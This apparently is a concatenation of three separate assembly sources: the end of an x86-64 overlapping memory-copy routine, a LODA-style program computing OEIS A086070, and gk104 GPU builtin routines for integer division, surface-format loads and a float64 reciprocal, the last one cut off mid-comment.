mov rsi, rdx ; rsi <- Source
mov rdi, rcx ; rdi <- Destination
lea r9, [rsi + r8 - 1] ; r9 <- End of Source
cmp rsi, rdi
mov rax, rdi ; rax <- Destination as return value
jae .0
cmp r9, rdi
jae @CopyBackward ; Copy backward if overlapped
.0:
mov rcx, r8
and r8, 7
shr rcx, 3
rep movsq ; Copy as many Qwords as possible
jmp @CopyBytes
@CopyBackward:
mov rsi, r9 ; rsi <- End of Source
lea rdi, [rdi + r8 - 1] ; esi <- End of Destination
std ; set direction flag
@CopyBytes:
mov rcx, r8
rep movsb ; Copy bytes backward
cld
pop rdi
pop rsi
ret
|
; A086070: Where records in A086068 occur.
; 1,2,3,5,7,11,13,15,23,27,29,31,47,55,59,61,63,95,111,119,123,125,127,191,223,239,247,251,253,255,383,447,479,495,503,507,509,511,767,895,959,991,1007,1015,1019,1021,1023
mov $15,$0
mov $17,2
mov $19,$0
lpb $17
mov $0,$15
sub $0,1
mov $8,$0
mov $10,2
sub $17,1
lpb $10
clr $0,8
mov $0,$8
sub $0,1
mov $5,$0
mov $7,$0
sub $10,1
lpb $7
clr $0,5
mov $0,$5
sub $7,1
sub $0,$7
cal $0,4736 ; Triangle read by rows: row n lists the first n positive integers in decreasing order.
add $1,$0
mov $3,$1
cal $3,53208 ; Row sums of A053207.
mov $1,$3
sub $1,5
div $1,7
add $1,1
add $6,$1
lpe
lpe
lpe
mov $1,$6
add $1,1
add $1,$19
|
.section #gk104_builtin_code
// DIV U32
//
// UNR recurrence (q = a / b):
// look for z such that 2^32 - b <= b * z < 2^32
// then q - 1 <= (a * z) / 2^32 <= q
//
// INPUT: $r0: dividend, $r1: divisor
// OUTPUT: $r0: result, $r1: modulus
// CLOBBER: $r2 - $r3, $p0 - $p1
// SIZE: 22 / 14 * 8 bytes
//
gk104_div_u32:
sched 0x28 0x4 0x28 0x4 0x28 0x28 0x28
bfind u32 $r2 $r1
long xor b32 $r2 $r2 0x1f
long mov b32 $r3 0x1
shl b32 $r2 $r3 clamp $r2
long cvt u32 $r1 neg u32 $r1
long mul $r3 u32 $r1 u32 $r2
add $r2 (mul high u32 $r2 u32 $r3) $r2
sched 0x28 0x28 0x28 0x28 0x28 0x28 0x28
mul $r3 u32 $r1 u32 $r2
add $r2 (mul high u32 $r2 u32 $r3) $r2
mul $r3 u32 $r1 u32 $r2
add $r2 (mul high u32 $r2 u32 $r3) $r2
mul $r3 u32 $r1 u32 $r2
add $r2 (mul high u32 $r2 u32 $r3) $r2
mul $r3 u32 $r1 u32 $r2
sched 0x4 0x28 0x4 0x28 0x28 0x2c 0x4
add $r2 (mul high u32 $r2 u32 $r3) $r2
mov b32 $r3 $r0
mul high $r0 u32 $r0 u32 $r2
long cvt u32 $r2 neg u32 $r1
long add $r1 (mul u32 $r1 u32 $r0) $r3
set $p0 0x1 ge u32 $r1 $r2
$p0 sub b32 $r1 $r1 $r2
sched 0x28 0x2c 0x4 0x20 0x2e 0x28 0x20
$p0 add b32 $r0 $r0 0x1
$p0 set $p0 0x1 ge u32 $r1 $r2
$p0 sub b32 $r1 $r1 $r2
$p0 add b32 $r0 $r0 0x1
long ret
// DIV S32, like DIV U32 after taking ABS(inputs)
//
// INPUT: $r0: dividend, $r1: divisor
// OUTPUT: $r0: result, $r1: modulus
// CLOBBER: $r2 - $r3, $p0 - $p3
//
gk104_div_s32:
set $p2 0x1 lt s32 $r0 0x0
set $p3 0x1 lt s32 $r1 0x0 xor $p2
sched 0x20 0x28 0x28 0x4 0x28 0x04 0x28
long cvt s32 $r0 abs s32 $r0
long cvt s32 $r1 abs s32 $r1
bfind u32 $r2 $r1
long xor b32 $r2 $r2 0x1f
long mov b32 $r3 0x1
shl b32 $r2 $r3 clamp $r2
cvt u32 $r1 neg u32 $r1
sched 0x28 0x28 0x28 0x28 0x28 0x28 0x28
mul $r3 u32 $r1 u32 $r2
add $r2 (mul high u32 $r2 u32 $r3) $r2
mul $r3 u32 $r1 u32 $r2
add $r2 (mul high u32 $r2 u32 $r3) $r2
mul $r3 u32 $r1 u32 $r2
add $r2 (mul high u32 $r2 u32 $r3) $r2
mul $r3 u32 $r1 u32 $r2
sched 0x28 0x28 0x4 0x28 0x04 0x28 0x28
add $r2 (mul high u32 $r2 u32 $r3) $r2
mul $r3 u32 $r1 u32 $r2
add $r2 (mul high u32 $r2 u32 $r3) $r2
mov b32 $r3 $r0
mul high $r0 u32 $r0 u32 $r2
long cvt u32 $r2 neg u32 $r1
long add $r1 (mul u32 $r1 u32 $r0) $r3
sched 0x2c 0x04 0x28 0x2c 0x04 0x28 0x20
set $p0 0x1 ge u32 $r1 $r2
$p0 sub b32 $r1 $r1 $r2
$p0 add b32 $r0 $r0 0x1
$p0 set $p0 0x1 ge u32 $r1 $r2
$p0 sub b32 $r1 $r1 $r2
long $p0 add b32 $r0 $r0 0x1
long $p3 cvt s32 $r0 neg s32 $r0
sched 0x04 0x2e 0x04 0x28 0x04 0x20 0x2c
$p2 cvt s32 $r1 neg s32 $r1
long ret
// SULDP [for each format]
// $r4d: address
// $r2: surface info (format)
// $p0: access predicate
// $p1, $p2: caching predicate (00: cv, 01: ca, 10: cg)
//
// RGBA32
$p1 suldgb b128 $r0q ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
$p2 suldgb b128 $r0q cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb b128 $r0q cv zero u8 g[$r4d] $r2 $p0
long ret
// RGBA16_UNORM
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
$p1 suldgb b128 $r0q ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
$p2 suldgb b128 $r0q cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb b128 $r0q cv zero u8 g[$r4d] $r2 $p0
cvt rn f32 $r3 u16 1 $r1
cvt rn f32 $r2 u16 0 $r1
mul f32 $r3 $r3 0x37800074
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
cvt rn f32 $r1 u16 1 $r0
mul f32 $r2 $r2 0x37800074
cvt rn f32 $r0 u16 0 $r0
mul f32 $r1 $r1 0x37800074
mul f32 $r0 $r0 0x37800074
long ret
// RGBA16_SNORM
$p1 suldgb b64 $r0d ca zero u8 g[$r4d] $r2 $p0
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
set $p1 0x1 $p1 xor not $p2
$p2 suldgb b64 $r0d cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb b64 $r0d cv zero u8 g[$r4d] $r2 $p0
cvt rn f32 $r3 s16 1 $r1
cvt rn f32 $r2 s16 0 $r1
mul f32 $r3 $r3 0x38000187
cvt rn f32 $r1 s16 1 $r0
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
mul f32 $r2 $r2 0x38000187
cvt rn f32 $r0 s16 0 $r0
mul f32 $r1 $r1 0x38000187
mul f32 $r0 $r0 0x38000187
long ret
// RGBA16_SINT
$p1 suldgb b64 $r0d ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
$p2 suldgb b64 $r0d cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb b64 $r0d cv zero u8 g[$r4d] $r2 $p0
cvt s32 $r3 s16 1 $r1
cvt s32 $r2 s16 0 $r1
cvt s32 $r1 s16 1 $r0
cvt s32 $r0 s16 0 $r0
long ret
// RGBA16_UINT
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
$p1 suldgb b64 $r0d ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
$p2 suldgb b64 $r0d cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb b64 $r0d cv zero u8 g[$r4d] $r2 $p0
cvt u32 $r3 u16 1 $r1
cvt u32 $r2 u16 0 $r1
cvt u32 $r1 u16 1 $r0
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
cvt u32 $r0 u16 0 $r0
long ret
// RGBA16_FLOAT
$p1 suldgb b64 $r0d ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
$p2 suldgb b64 $r0d cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb b64 $r0d cv zero u8 g[$r4d] $r2 $p0
cvt f32 $r3 f16 $r1 1
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
cvt f32 $r2 f16 $r1 0
cvt f32 $r1 f16 $r0 1
cvt f32 $r0 f16 $r0 0
long ret
// RG32_FLOAT
$p1 suldgb b64 $r0d ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
$p2 suldgb b64 $r0d cg zero u8 g[$r4d] $r2 $p0
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
$p1 suldgb b64 $r0d cv zero u8 g[$r4d] $r2 $p0
long mov b32 $r2 0x00000000
long mov b32 $r3 0x3f800000
long ret
// RG32_xINT
$p1 suldgb b64 $r0d ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
$p2 suldgb b64 $r0d cg zero u8 g[$r4d] $r2 $p0
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
$p1 suldgb b64 $r0d cv zero u8 g[$r4d] $r2 $p0
long mov b32 $r2 0x00000000
long mov b32 $r3 0x00000001
long ret
// RGB10A2_UNORM
$p1 suldgb b32 $r0 ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
$p2 suldgb b32 $r0 cg zero u8 g[$r4d] $r2 $p0
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
$p1 suldgb b32 $r0 cv zero u8 g[$r4d] $r2 $p0
ext u32 $r1 $r0 0x0a0a
long mov b32 $r3 0x3f800000
ext u32 $r2 $r0 0x0a14
long and b32 $r0 $r0 0x3ff
cvt rn f32 $r2 u16 0 $r2
cvt rn f32 $r1 u16 0 $r1
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
mul f32 $r2 $r2 0x3a802007
cvt rn f32 $r0 u16 0 $r0
mul f32 $r1 $r1 0x3a802007
mul f32 $r0 $r0 0x3a802007
long ret
// RGB10A2_UINT
$p1 suldgb b32 $r0 ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
$p2 suldgb b32 $r0 cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb b32 $r0 cv zero u8 g[$r4d] $r2 $p0
ext u32 $r1 $r0 0x0a0a
long mov b32 $r3 0x00000001
ext u32 $r2 $r0 0x0a14
long and b32 $r0 $r0 0x3ff
long ret
// RGBA8_UNORM
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
$p1 suldgb b32 $r0 ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
$p2 suldgb b32 $r0 cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb b32 $r0 cv zero u8 g[$r4d] $r2 $p0
cvt rn f32 $r3 u8 3 $r0
cvt rn f32 $r2 u8 2 $r0
mul f32 $r3 $r3 0x3b808081
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
cvt rn f32 $r1 u8 1 $r0
mul f32 $r2 $r2 0x3b808081
cvt rn f32 $r0 u8 0 $r0
mul f32 $r1 $r1 0x3b808081
mul f32 $r0 $r0 0x3b808081
long ret
// RGBA8_SNORM
$p1 suldgb b32 $r0 ca zero u8 g[$r4d] $r2 $p0
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
set $p1 0x1 $p1 xor not $p2
$p2 suldgb b32 $r0 cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb b32 $r0 cv zero u8 g[$r4d] $r2 $p0
cvt rn f32 $r3 s8 3 $r0
cvt rn f32 $r2 s8 2 $r0
mul f32 $r3 $r3 0x3c010204
cvt rn f32 $r1 s8 1 $r0
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
mul f32 $r2 $r2 0x3c010204
cvt rn f32 $r0 s8 0 $r0
mul f32 $r1 $r1 0x3c010204
mul f32 $r0 $r0 0x3c010204
long ret
// RGBA8_SINT
$p1 suldgb b32 $r0 ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
$p2 suldgb b32 $r0 cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb b32 $r0 cv zero u8 g[$r4d] $r2 $p0
cvt s32 $r3 s8 3 $r0
cvt s32 $r2 s8 2 $r0
cvt s32 $r1 s8 1 $r0
cvt s32 $r0 s8 0 $r0
long ret
// RGBA8_UINT
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
$p1 suldgb b32 $r0 ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
$p2 suldgb b32 $r0 cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb b32 $r0 cv zero u8 g[$r4d] $r2 $p0
cvt u32 $r3 u8 3 $r0
cvt u32 $r2 u8 2 $r0
cvt u32 $r1 u8 1 $r0
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
cvt u32 $r0 u8 0 $r0
long ret
// R5G6B5_UNORM
$p1 suldgb u16 $r0 ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
$p2 suldgb u16 $r0 cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb u16 $r0 cv zero u8 g[$r4d] $r2 $p0
ext u32 $r1 $r0 0x0605
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
long mov b32 $r3 0x3f800000
ext u32 $r2 $r0 0x050b
long and b32 $r0 $r0 0x1f
cvt rn f32 $r2 u8 0 $r2
cvt rn f32 $r1 u8 0 $r1
mul f32 $r2 $r2 0x3d042108
cvt rn f32 $r0 u8 0 $r0
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
mul f32 $r1 $r1 0x3c820821
mul f32 $r0 $r0 0x3d042108
long ret
// R5G5B5X1_UNORM
$p1 suldgb u16 $r0 ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
$p2 suldgb u16 $r0 cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb u16 $r0 cv zero u8 g[$r4d] $r2 $p0
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
ext u32 $r1 $r0 0x0505
ext u32 $r2 $r0 0x050a
long and b32 $r0 $r0 0x1f
long mov b32 $r3 0x3f800000
cvt rn f32 $r2 u8 0 $r2
cvt rn f32 $r1 u8 0 $r1
cvt rn f32 $r0 u8 0 $r0
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
mul f32 $r2 $r2 0x3d042108
mul f32 $r1 $r1 0x3d042108
mul f32 $r0 $r0 0x3d042108
long ret
// RG16_UNORM
$p1 suldgb b32 $r0 ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
$p2 suldgb b32 $r0 cg zero u8 g[$r4d] $r2 $p0
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
$p1 suldgb b32 $r0 cv zero u8 g[$r4d] $r2 $p0
cvt rn f32 $r1 u16 1 $r0
cvt rn f32 $r0 u16 0 $r0
mul f32 $r1 $r1 0x37800074
mul f32 $r0 $r0 0x37800074
long mov b32 $r2 0x00000000
long mov b32 $r3 0x3f800000
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
long ret
// RG16_SNORM
$p1 suldgb b32 $r0 ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
$p2 suldgb b32 $r0 cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb b32 $r0 cv zero u8 g[$r4d] $r2 $p0
mov b32 $r3 0x3f800000
cvt rn f32 $r1 s16 1 $r0
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
mov b32 $r2 0x00000000
cvt rn f32 $r0 s16 0 $r0
mul f32 $r1 $r1 0x38000187
mul f32 $r0 $r0 0x38000187
long ret
// RG16_SINT
$p1 suldgb b32 $r0 ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
$p2 suldgb b32 $r0 cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb b32 $r0 cv zero u8 g[$r4d] $r2 $p0
mov b32 $r3 0x00000001
cvt s32 $r1 s16 1 $r0
mov b32 $r2 0x00000000
cvt s32 $r0 s16 0 $r0
long ret
// RG16_UINT
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
$p1 suldgb b32 $r0 ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
$p2 suldgb b32 $r0 cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb b32 $r0 cv zero u8 g[$r4d] $r2 $p0
mov b32 $r3 0x00000001
cvt u32 $r1 u16 1 $r0
mov b32 $r2 0x00000000
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
cvt u32 $r0 u16 0 $r0
long ret
// RG16_FLOAT
$p1 suldgb b32 $r0 ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
$p2 suldgb b32 $r0 cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb b32 $r0 cv zero u8 g[$r4d] $r2 $p0
mov b32 $r3 0x3f800000
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
cvt f32 $r1 f16 $r0 1
mov b32 $r2 0x00000000
cvt f32 $r0 f16 $r0 0
long ret
// R32_FLOAT
$p1 suldgb b32 $r0 ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
$p2 suldgb b32 $r0 cg zero u8 g[$r4d] $r2 $p0
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
$p1 suldgb b32 $r0 cv zero u8 g[$r4d] $r2 $p0
long mov b32 $r3 0x3f800000
long mov b32 $r2 0x00000000
long mov b32 $r1 0x00000000
long ret
// R32_xINT
$p1 suldgb b32 $r0 ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
$p2 suldgb b32 $r0 cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb b32 $r0 cv zero u8 g[$r4d] $r2 $p0
long mov b32 $r3 0x00000001
long mov b32 $r2 0x00000000
long mov b32 $r1 0x00000000
long ret
// RG8_UNORM
$p1 suldgb u16 $r0 ca zero u8 g[$r4d] $r2 $p0
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
set $p1 0x1 $p1 xor not $p2
$p2 suldgb u16 $r0 cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb u16 $r0 cv zero u8 g[$r4d] $r2 $p0
mov b32 $r3 0x3f800000
cvt rn f32 $r1 u8 1 $r0
mov b32 $r2 0x00000000
cvt rn f32 $r0 u8 0 $r0
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
mul f32 $r1 $r1 0x3b808081
mul f32 $r0 $r0 0x3b808081
long ret
// RG8_SNORM
$p1 suldgb u16 $r0 ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
$p2 suldgb u16 $r0 cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb u16 $r0 cv zero u8 g[$r4d] $r2 $p0
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
long mov b32 $r3 0x3f800000
cvt rn f32 $r1 s8 1 $r0
long mov b32 $r2 0x00000000
cvt rn f32 $r0 s8 0 $r0
mul f32 $r1 $r1 0x3c010204
mul f32 $r0 $r0 0x3c010204
long ret
// RG8_UINT
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
$p1 suldgb u16 $r0 ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
$p2 suldgb u16 $r0 cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb u16 $r0 cv zero u8 g[$r4d] $r2 $p0
long mov b32 $r3 0x00000001
cvt u32 $r1 u8 1 $r0
long mov b32 $r2 0x00000000
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
cvt u32 $r0 u8 0 $r0
long ret
// RG8_SINT
$p1 suldgb u16 $r0 ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
$p2 suldgb u16 $r0 cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb u16 $r0 cv zero u8 g[$r4d] $r2 $p0
long mov b32 $r3 0x00000001
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
cvt s32 $r1 s8 1 $r0
long mov b32 $r2 0x00000000
cvt s32 $r0 s8 0 $r0
long ret
// R16_UNORM
$p1 suldgb u16 $r0 ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
$p2 suldgb u16 $r0 cg zero u8 g[$r4d] $r2 $p0
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
$p1 suldgb u16 $r0 cv zero u8 g[$r4d] $r2 $p0
long mov b32 $r3 0x3f800000
cvt rn f32 $r0 u16 0 $r0
long mov b32 $r2 0x00000000
long mov b32 $r1 0x00000000
mul f32 $r0 $r0 0x37800074
long ret
// R16_SNORM
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
$p1 suldgb u16 $r0 ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
$p2 suldgb u16 $r0 cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb u16 $r0 cv zero u8 g[$r4d] $r2 $p0
mov b32 $r3 0x3f800000
cvt rn f32 $r0 s16 0 $r0
long mov b32 $r2 0x00000000
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
long mov b32 $r1 0x00000000
mul f32 $r0 $r0 0x38000187
long ret
// R16_SINT
$p1 suldgb s16 $r0 ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
$p2 suldgb s16 $r0 cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb s16 $r0 cv zero u8 g[$r4d] $r2 $p0
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
long mov b32 $r3 0x00000001
long mov b32 $r2 0x00000000
long mov b32 $r1 0x00000000
long ret
// R16_UINT
$p1 suldgb u16 $r0 ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
$p2 suldgb u16 $r0 cg zero u8 g[$r4d] $r2 $p0
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
$p1 suldgb u16 $r0 cv zero u8 g[$r4d] $r2 $p0
long mov b32 $r3 0x00000001
long mov b32 $r2 0x00000000
long mov b32 $r1 0x00000000
long ret
// R16_FLOAT
$p1 suldgb u16 $r0 ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
$p2 suldgb u16 $r0 cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb u16 $r0 cv zero u8 g[$r4d] $r2 $p0
long mov b32 $r3 0x3f800000
long mov b32 $r2 0x00000000
cvt f32 $r0 f16 $r0 0
mov b32 $r1 0x00000000
long ret
// R8_UNORM
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
$p1 suldgb u8 $r0 ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
$p2 suldgb u8 $r0 cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb u8 $r0 cv zero u8 g[$r4d] $r2 $p0
mov b32 $r3 0x3f800000
cvt rn f32 $r0 u8 0 $r0
mov b32 $r2 0x00000000
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
mul f32 $r0 $r0 0x3b808081
mov b32 $r1 0x00000000
long ret
// R8_SNORM
$p1 suldgb u8 $r0 ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
$p2 suldgb u8 $r0 cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb u8 $r0 cv zero u8 g[$r4d] $r2 $p0
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
mov b32 $r3 0x3f800000
cvt rn f32 $r0 s8 0 $r0
mov b32 $r2 0x00000000
mul f32 $r0 $r0 0x3c010204
mov b32 $r1 0x00000000
long ret
// R8_SINT
$p1 suldgb s8 $r0 ca zero u8 g[$r4d] $r2 $p0
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
set $p1 0x1 $p1 xor not $p2
$p2 suldgb s8 $r0 cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb s8 $r0 cv zero u8 g[$r4d] $r2 $p0
long mov b32 $r3 0x00000001
long mov b32 $r2 0x00000000
long mov b32 $r1 0x00000000
long ret
// R8_UINT
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
$p1 suldgb u8 $r0 ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
$p2 suldgb u8 $r0 cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb u8 $r0 cv zero u8 g[$r4d] $r2 $p0
long mov b32 $r3 0x00000001
long mov b32 $r2 0x00000000
long mov b32 $r1 0x00000000
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
long ret
// R11G11B10_FLOAT TODO
$p1 suldgb b32 $r3 ca zero u8 g[$r4d] $r2 $p0
set $p1 0x1 $p1 xor not $p2
$p2 suldgb b32 $r3 cg zero u8 g[$r4d] $r2 $p0
$p1 suldgb b32 $r3 cv zero u8 g[$r4d] $r2 $p0
long mov b32 $r3 0x3f800000
long nop
sched 0x00 0x00 0x00 0x00 0x00 0x00 0x00
long nop
long ret
// RCP F64: Newton Raphson reciprocal(x): r_{i+1} = r_i * (2.0 - x * r_i)
//
// INPUT: $r0d (x)
// OUTPUT: $r0d (rcp(x))
// CLOBBER: $r2 - $r7
// SIZE: 9 * 8 bytes
//
gk104_rcp_f64:
// Step 1: classify input according to exponent and value, and calculate
// result for 0/inf/nan. $r2 holds the exponent value, which starts at
// bit 52 (bit 20 of the upper half) and is 11 bits in length
ext u32 $r2 $r1 0xb14
add b32 $r3 $r2 0xffffffff
joinat #rcp_rejoin
// We want to check whether the exponent is 0 or 0x7ff (i.e. NaN, inf,
// denorm, or 0). Do this by subtracting 1 from the exponent, which will
// mean that it's > 0x7fd in those cases when doing unsigned comparison
set $p0 0x1 gt u32 $r3 0x7fd
// $r3: 0 for norms, 0x36 for denorms, -1 for others
long mov b32 $r3 0x0
sched 0x2f 0x04 0x2d 0x2b 0x2f 0x28 0x28
join (not $p0) nop
// Process all special values: NaN, inf, denorm, 0
mov b32 $r3 0xffffffff
// A number is NaN if its abs value is greater than or unordered with inf
set $p0 0x1 gtu f64 abs $r0d 0x7ff0000000000000
(not $p0) bra #rcp_inf_or_denorm_or_zero
// NaN -> NaN, the next line sets the "quiet" bit of the result. This
// behavior is both seen on the CPU and the blob
join or b32 $r1 $r1 0x80000
rcp_inf_or_denorm_or_zero:
and b32 $r4 $r1 0x7ff00000
// Other values with nonzero in exponent field should be inf
set $p0 0x1 eq s32 $r4 0x0
sched 0x2b 0x04 0x2f 0x2d 0x2b 0x2f 0x20
$p0 bra #rcp_denorm_or_zero
// +/-Inf -> +/-0
xor b32 $r1 $r1 0x7ff00000
join mov b32 $r0 0x0
rcp_denorm_or_zero:
set $p0 0x1 gtu f64 abs $r0d 0x0
$p0 bra #rcp_denorm
// +/-0 -> +/-Inf
join or b32 $r1 $r1 0x7ff00000
rcp_denorm:
// non-0 denorms: multiply with 2^54 (the 0x36 in $r3), join with norms
mul rn f64 $r0d $r0d 0x4350000000000000
sched 0x2f 0x28 0x2b 0x28 0x28 0x04 0x28
join mov b32 $r3 0x36
rcp_rejoin:
// All numbers with -1 in $r3 have their result ready in $r0d, return them
// others need further calculation
set $p0 0x1 lt s32 $r3 0x0
$p0 bra #rcp_end
// Step 2: Before the real calculation goes on, renormalize the values to
// range [1, 2) by setting exponent field to 0x3ff (the exponent of 1)
// result in $r6d. The exponent will be recovered later.
ext u32 $r2 $r1 0xb14
and b32 $r7 $r1 0x800fffff
add b32 $r7 $r7 0x3ff00000
long mov b32 $r6 $r0
sched 0x2b 0x04 0x28 0x28 0x2a 0x2b 0x2e
// Step 3: Convert new value to float (no overflow will occur due to step
// 2), calculate rcp and do newton-raphson step once
cvt rz f32 $r5 f64 $r6d
long rcp f32 $r4 $r5
mov b32 $r0 0xbf800000
fma rn f32 $r5 $r4 $r5 $r0
fma rn f32 $r0 neg $r4 $r5 $r4
// Step 4: convert result $r0 back to double, do newton-raphson steps
cvt f64 $r0d f32 $r0
cvt f64 $r6d neg f64 $r6d
sched 0x2e 0x29 0x29 0x29 0x29 0x29 0x29
cvt f64 $r8d f32 0x3f800000
// 4 Newton-Raphson Steps, tmp in $r4d, result in $r0d
// The formula used here (and above) is:
// RCP_{n + 1} = 2 * RCP_{n} - x * RCP_{n} * RCP_{n}
// The following code uses 2 FMAs for each step, and it will basically
// looks like:
// tmp = -src * RCP_{n} + 1
// RCP_{n + 1} = RCP_{n} * tmp + RCP_{n}
fma rn f64 $r4d $r6d $r0d $r8d
fma rn f64 $r0d $r0d $r4d $r0d
fma rn f64 $r4d $r6d $r0d $r8d
fma rn f64 $r0d $r0d $r4d $r0d
fma rn f64 $r4d $r6d $r0d $r8d
fma rn f64 $r0d $r0d $r4d $r0d
sched 0x29 0x20 0x28 0x28 0x28 0x28 0x28
fma rn f64 $r4d $r6d $r0d $r8d
fma rn f64 $r0d $r0d $r4d $r0d
// Step 5: Exponent recovery and final processing
// The exponent is recovered by adding what we added to the exponent.
// Suppose we want to calculate rcp(x), but we have rcp(cx), then
// rcp(x) = c * rcp(cx)
// The delta in exponent comes from two sources:
// 1) The renormalization in step 2. The delta is:
// 0x3ff - $r2
